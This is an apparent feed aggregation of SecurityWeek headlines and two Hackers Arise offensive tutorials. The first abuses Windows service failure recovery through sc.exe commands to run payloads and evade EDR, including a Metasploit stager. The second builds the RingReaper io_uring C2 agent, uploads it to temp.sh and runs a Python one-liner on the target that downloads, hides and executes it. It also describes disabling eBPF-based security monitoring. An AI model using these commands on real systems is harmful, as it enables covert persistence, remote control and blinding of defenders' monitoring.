Join the webinar for a focused, 20-minute discussion on Frontier Pace Governance, an approach to balancing automation, policy, and business risk as IT operations accelerate.

The post Webinar Today: Keep Pace With AI – A New Operating Model for Endpoint Remediation appeared first on SecurityWeek.

The exploit provides full System privileges on Windows machines running the September 2026 patches.

The post New ‘ShieldCrash’ Zero-Day Exploit Targets Microsoft Defender appeared first on SecurityWeek.

Welcome back, cyberwarriors!

Defense evasion always comes down to creativity and a deep understanding of the system. Defenders are catching up with new things all the time. In this constant race nothing stays relevant for long.

RecoverIt came out a few months ago showing how to abuse the Windows service failure recovery function to execute a payload. Persistence and lateral movement usually need changing a service’s ImagePath or creating a new service, which gets flagged by EDR products (Event IDs 7045 / 4697, binary paths and so on), but this tool and techniques gets around that problem.

How It Works

Every Windows service has a Recovery tab in its configuration that defines what happens when a service crashes or fails. That can mean restarting the service, running a program or rebooting the computer. RecoverIt points the recovery command at a payload, then crashes the service so Windows executes the recovery program. This mechanism isn’t closely monitored, so it’s a way to get code execution under a legitimate and privileged service.

Here is how it works:

PS > .\RecoverIt.exe <ServiceName> <ProgramPath> <Arguments>

Since the compiled version can be hashed and added to the EDR’s database, we’ll also look at the technique itself.

Abusing Service Recovery Function

For this attack to work, you need to find a normal Windows service that always crashes when you start it. We’ll use UevAgentService for this example. On systems where UE-V is disabled or not configured, starting this service causes an immediate failure.

PS > sc.exe query UevAgentService
PS > sc.exe failure UevAgentService

As you can see, the service does exist and there’s no recovery plan set for it. On our machine it was stopped.

Now let’s create a recovery plan for it. 

PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= “C:\Windws\System32\cmd.exe /c whoami > C:\Windows\Temp\uev_test.txt”

PS > sc.exe failureflag UevAgentService 1
PS > sc.exe qfailure UevAgentService

Once the service crashes it will print the output of whoami into uev_temp.txt

UevAgentService can be started on boot or on demand:

# On demand - you will need to start it manually 
PS > sc.exe config UevAgentService start= demand

# On boot
PS > sc.exe config UevAgentService start= auto

Then we start it:

PS > sc.exe start UevAgentService

Now we can validate it by checking the state and the result:

PS > sc.exe query UevAgentService
PS > type C:\Temp\uev_test.txt

As you can see, the service failed to start and Windows executed the recovery plan.

The example above is benign, but you can also try it in different ways. Here are a few examples:

PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= "C:\Windows\system32\payload.exe"

# or with arguments
PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= "C:\Tools\payload.exe -arg1 -arg2"

We set it up to execute a Metasploit stager and got our connection back.

Summary

Defense evasion always takes creativity to find the blind spots. Monitoring everything is simply impossible, there are too many legitimate processes running on a system at once and trying to watch all of them would overwhelm anyone. Hackers often abuse those legitimate processes. RecoverIt does it as well. It doesn’t create any new services, it just abuses the ones that don’t work well, like UevAgentService.

Want to learn more about evading detection and minimizing your traces on a system? Check out our Anti-Forensics training.

The post Defense Evasion: RecoverIt – Using Windows Service Failure Recovery to Evade Detection first appeared on Hackers Arise.

Kaspersky told SecurityWeek that it patched the vulnerability affecting its Endpoint Security product.

The post Nightmare Eclipse Drops ‘HardBreacher’ Kaspersky Product Exploit appeared first on SecurityWeek.

Welcome back, aspiring cyberwarriors!

Finding an EDR on a Linux machine is common when working with organizations that take cybersecurity seriously. While many associate EDR platforms with Windows, modern Linux deployments are often monitored as well. Evading an EDR is almost an art form. It requires a deep understanding of operating systems, system internals, and how security products actually collect telemetry. Most EDR products are designed around visibility. They monitor processes, file access, network connections, privilege escalation attempts, and many other activities that could indicate bad behavior. A simple example might be accessing sensitive files, attempting to connect to suspicious external infrastructure, or spawning unusual child processes. These actions generate events that security products can inspect and correlate.

Over the years, researchers have demonstrated many different methods for bypassing or reducing EDR visibility. Some techniques abuse trusted binaries. Others use kernel vulnerabilities or weaknesses in monitoring logic. Today, however, we are going to look at a different approach involving a Linux feature called io_uring. Using this technique, it becomes possible to perform reconnaissance, transfer files, establish C2 communications, and execute commands while generating significantly fewer events.

The technique we will discuss today was developed by MatheuZSecurity.

Bypassing EDR

Introduced in Linux kernel 5.1, io_uring was designed to improve the performance of I/O operations. Instead of repeatedly interacting with the kernel through traditional system calls, applications can place requests into a shared queue. The kernel processes those requests and returns the results. Applications can submit many operations at once rather than making separate calls for every read, write, file access, or network action. This becomes interesting from a security perspective because many EDR products monitor these activities. These events are often collected through hooks, audit frameworks or eBPF.

With io_uring, many operations can be submitted and handled through a different execution model. Instead of repeatedly calling functions, requests are processed through io_uring, generating fewer observable events.

This does not make activity invisible, it just reduces the visibility of EDR. But modern security products are trying to improve their ability to monitor io_uring now. However, because it can reduce traditional syscall visibility, it has become an area of growing interest for hackers.

Setting Up

To test the concept ourselves, we first need to set up the environment. Let’s download the project and install the required dependency.

kali > git clone https://github.com/MatheuZSecurity/RingReaper
kali > cd RingReaper
kali > sudo apt install liburing-dev -y

By default, Kali Linux does not include the required development library, so we need to install it before compiling the project.

After that, open the agent.c file and update the IP address to point to your Kali machine. This is the address the agent will connect back to once it is executed on the target system. That is the only modification required.

Once the IP address has been updated, compile the project and upload it to a temporary hosting service.

kali > gcc agent.c -o agent -luring -O2 -s -static
kali > curl -F "file=@agent" https://temp.sh/upload

After the upload completes, you will receive a URL that can be used to download the binary.

Connecting to C2

First we need to start our server.py on Kali. 

kali > python3 server.py --ip 192.168.131.7 --port 443

With the binary uploaded, we can move to the target machine. Replace the URL in the following command with the link generated during the upload process and execute it.

ubuntu > python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"

The command downloads the executable, stores it locally, adjusts permissions, and launches it. If everything works correctly, the connection should appear immediately.

When operating inside a monitored environment, less activity usually means less risk. The less noise you generate, the less likely you are to attract attention.

Running Commands

Now we arrive at the interesting part. Once connected, start by running the help command to display the available functionality.

The command set is intentionally small, but it covers most of the tasks that you would typically need. For example, running the users command shows active sessions.

If necessary, individual sessions can be terminated using the kick command. The privesc command searches for SUID binaries that may be useful for privilege escalation. 

You can upload files to the target or retrieve files from the target machine. A common example would be reading .bash_history to see previously executed commands by local users.

Finally, the most interesting command is killbpf.

Many security tools including Falco, Sysdig, Elastic Defend, Tetragon, and many other monitoring platforms rely on eBPF to achieve deep kernel visibility. eBPF allows security products to observe process activity, system calls, network events, and many other behaviors without requiring traditional kernel modules.

The killbpf command attempts to disrupt this. It removes content from /sys/fs/bpf, which is the virtual filesystem commonly used to store pinned eBPF programs and maps. These maps act as shared data structures that allow eBPF programs and user-space applications to exchange information. When those components are removed or disrupted, security tools may lose visibility into system activity. In addition, the command attempts to identify and terminate processes actively interacting with eBPF maps.  Disrupting them can interfere with security monitoring.

Below you can see the tool working alongside TrendMicro. 

Summary

This agent shows how a legitimate Linux feature can be repurposed in unexpected ways. io_uring was created to improve performance and efficiency. Its purpose was never to bypass security products. However, as we have seen many times throughout cybersecurity history, legitimate technologies often become useful tools for hackers as well.

If you want to take your Linux knowledge to the next level, we offer Advanced Linux for Hackers training designed for both red and blue teams. The course will help you develop the advanced Linux skills needed for penetration testing, incident response, digital forensics, and other security tasks. Since many offensive and defensive techniques rely on a solid understanding of the operating system, these skills will let you troubleshoot complex environments.

The post Hacking: Linux EDR Evasion with io_uring first appeared on Hackers Arise.